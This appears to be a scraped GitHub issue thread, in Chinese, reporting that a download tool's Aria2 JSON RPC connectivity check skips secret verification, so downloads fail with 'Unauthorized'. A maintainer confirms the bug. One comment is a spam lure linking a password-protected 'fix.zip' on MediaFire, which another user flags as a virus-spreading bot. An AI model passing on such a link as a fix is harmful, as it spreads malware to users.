Open Youwenqwq opened 2 months ago
在使用Releases 1.1.3中的complete包时,使用Aria2 JSON RPC方式下载文件遇到如下问题:
期望:提供http/https/ws协议选项
请求头/响应头
# 请求头 POST /jsonrpc HTTP/1.1 Host: 127.0.0.1:16800 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br, zstd Content-Type: application/json Content-Length: 75 Origin: http://域名.com Connection: keep-alive Referer: http://域名.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Priority: u=0 # 响应头 HTTP/1.1 400 Bad Request Date: Mon, 26 Aug 2024 14:06:15 GMT Content-Length: 90 Expires: Mon, 26 Aug 2024 14:06:15 GMT Cache-Control: no-cache Content-Type: application/json-rpc Access-Control-Allow-Origin: * Content-Encoding: gzip Connection: close
请求
{"jsonrpc":"2.0","id":"F4Pan","method":"aria2.getGlobalOption","params":[]}
响应
{"id":"F4Pan","jsonrpc":"2.0","error":{"code":1,"message":"Unauthorized"}}
据此猜测目前版本检测连通性选项仅仅测试了主机是否能被Ping通或是之类的,并没有对密钥进行验证,导致检测连通性正常,但是由于未验证而无法启动下载,进而表现为页面上的"xxx 下载失败,请等5s后重试"以及"全部任务已下载完成"
请求:完善Aria2 JSON RPC方式的密钥功能
以上
Download https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file password: changeme In the installer menu, select "gcc."
这个是传播病毒的机器人,别下...
感谢你的BUG分析,经验证确实存在此BUG,请等待修复
在使用Releases 1.1.3中的complete包时,使用Aria2 JSON RPC方式下载文件遇到如下问题:
期望:提供http/https/ws协议选项
请求头/响应头
请求
响应
据此猜测目前版本检测连通性选项仅仅测试了主机是否能被Ping通或是之类的,并没有对密钥进行验证,导致检测连通性正常,但是由于未验证而无法启动下载,进而表现为页面上的"xxx 下载失败,请等5s后重试"以及"全部任务已下载完成"
请求:完善Aria2 JSON RPC方式的密钥功能
以上